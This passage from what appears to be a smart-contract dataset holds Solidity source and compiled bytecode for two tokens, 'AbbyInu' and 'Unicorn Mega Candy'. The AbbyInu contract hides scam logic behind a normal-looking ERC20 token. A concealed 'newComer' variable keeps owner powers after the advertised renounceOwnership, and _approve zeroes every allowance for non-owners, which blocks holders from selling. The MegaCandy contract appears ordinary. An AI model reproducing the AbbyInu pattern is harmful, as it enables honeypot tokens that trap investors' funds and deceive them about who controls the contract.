errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) private onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } address private newComer = _msgSender(); modifier onlyOwner() { require(newComer == _msgSender(), "Ownable: caller is not the owner"); _; } } contract AbbyInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _tTotal = 1000* 10**9* 10**18; string private _name = 'Abby Inu ' ; string private _symbol = 'ABBYINU ' ; uint8 private _decimals = 18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220765349782a610a8e48de23fa85de49a037ce71467ce52d9cd8d17a358c65c4c364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
9,576
0xbAc5d2C1F334e95eb6C609E059746B5eb4218647
pragma solidity 0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } interface LandManagementInterface { function ownerAddress() external view returns (address); function managerAddress() external view returns (address); function communityAddress() external view returns (address); function dividendManagerAddress() external view returns (address); function walletAddress() external view returns (address); // function unicornTokenAddress() external view returns (address); function candyToken() external view returns (address); function megaCandyToken() external view returns (address); function userRankAddress() external view returns (address); function candyLandAddress() external view returns (address); function candyLandSaleAddress() external view returns (address); function isUnicornContract(address _unicornContractAddress) external view returns (bool); function paused() external view returns (bool); function presaleOpen() external view returns (bool); function firstRankForFree() external view returns (bool); function ethLandSaleOpen() external view returns (bool); function landPriceWei() external view returns (uint); function landPriceCandy() external view returns (uint); function registerInit(address _contract) external; } contract LandAccessControl { LandManagementInterface public landManagement; function LandAccessControl(address _landManagementAddress) public { landManagement = LandManagementInterface(_landManagementAddress); landManagement.registerInit(this); } modifier onlyOwner() { require(msg.sender == landManagement.ownerAddress()); _; } modifier onlyManager() { require(msg.sender == landManagement.managerAddress()); _; } modifier onlyCommunity() { require(msg.sender == landManagement.communityAddress()); _; } modifier whenNotPaused() { require(!landManagement.paused()); _; } modifier whenPaused { require(landManagement.paused()); _; } modifier onlyWhileEthSaleOpen { require(landManagement.ethLandSaleOpen()); _; } modifier onlyLandManagement() { require(msg.sender == address(landManagement)); _; } modifier onlyUnicornContract() { require(landManagement.isUnicornContract(msg.sender)); _; } modifier onlyCandyLand() { require(msg.sender == address(landManagement.candyLandAddress())); _; } modifier whilePresaleOpen() { require(landManagement.presaleOpen()); _; } function isGamePaused() external view returns (bool) { return landManagement.paused(); } } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; event Burn(address indexed burner, uint256 value); /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MegaCandy is StandardToken, LandAccessControl { string public constant name = "Unicorn Mega Candy"; // solium-disable-line uppercase string public constant symbol = "Mega"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase event Mint(address indexed _to, uint _amount); //uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); function MegaCandy(address _landManagementAddress) LandAccessControl(_landManagementAddress) public { } function init() onlyLandManagement whenPaused external view { } function transferFromSystem(address _from, address _to, uint256 _value) onlyUnicornContract public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function burn(address _from, uint256 _value) onlyUnicornContract public returns (bool) { require(_value <= balances[_from]); balances[_from] = balances[_from].sub(_value); totalSupply_ = totalSupply_.sub(_value); //contract address here emit Burn(msg.sender, _value); emit Transfer(_from, address(0), _value); return true; } function mint(address _to, uint256 _amount) onlyCandyLand public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630422ddf3146100f657806306fdde0314610123578063095ea7b3146101b157806318160ddd1461020b57806323b872dd14610234578063313ce567146102ad57806340c10f19146102dc57806351118f1d1461033657806366188463146103af57806370a082311461040957806376cc1c5c1461045657806395d89b41146104ab5780639dc29fac14610539578063a9059cbb14610593578063d73dd623146105ed578063dd62ed3e14610647578063e1c7392a146106b3575b600080fd5b341561010157600080fd5b6101096106c8565b604051808215151515815260200191505060405180910390f35b341561012e57600080fd5b61013661076b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107a4565b604051808215151515815260200191505060405180910390f35b341561021657600080fd5b61021e610896565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610293600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108a0565b604051808215151515815260200191505060405180910390f35b34156102b857600080fd5b6102c0610c5a565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e757600080fd5b61031c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c5f565b604051808215151515815260200191505060405180910390f35b341561034157600080fd5b610395600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ea2565b604051808215151515815260200191505060405180910390f35b34156103ba57600080fd5b6103ef600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111a1565b604051808215151515815260200191505060405180910390f35b341561041457600080fd5b610440600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611432565b6040518082815260200191505060405180910390f35b341561046157600080fd5b61046961147a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104b657600080fd5b6104be6114a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104fe5780820151818401526020810190506104e3565b50505050905090810190601f16801561052b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561054457600080fd5b610579600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114d9565b604051808215151515815260200191505060405180910390f35b341561059e57600080fd5b6105d3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611772565b604051808215151515815260200191505060405180910390f35b34156105f857600080fd5b61062d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611991565b604051808215151515815260200191505060405180910390f35b341561065257600080fd5b61069d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b8d565b6040518082815260200191505060405180910390f35b34156106be57600080fd5b6106c6611c14565b005b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b151561074f57600080fd5b5af1151561075c57600080fd5b50505060405180519050905090565b6040805190810160405280601281526020017f556e69636f726e204d6567612043616e6479000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156108dd57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561092a57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156109b557600080fd5b610a06826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a99826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b6a82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632efd56326040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610ce657600080fd5b5af11515610cf357600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3657600080fd5b610d4b82600254611d3290919063ffffffff16565b600281905550610da2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663541334f6336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610f6057600080fd5b5af11515610f6d57600080fd5b505050604051805190501515610f8257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610fbe57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561100b57600080fd5b61105c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110ef826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156112b2576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611346565b6112c58382611d1990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4d6567610000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663541334f6336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561159757600080fd5b5af115156115a457600080fd5b5050506040518051905015156115b957600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561160657600080fd5b611657826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ae82600254611d1990919063ffffffff16565b6002819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156117af57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156117fc57600080fd5b61184d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118e0826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673fffffffff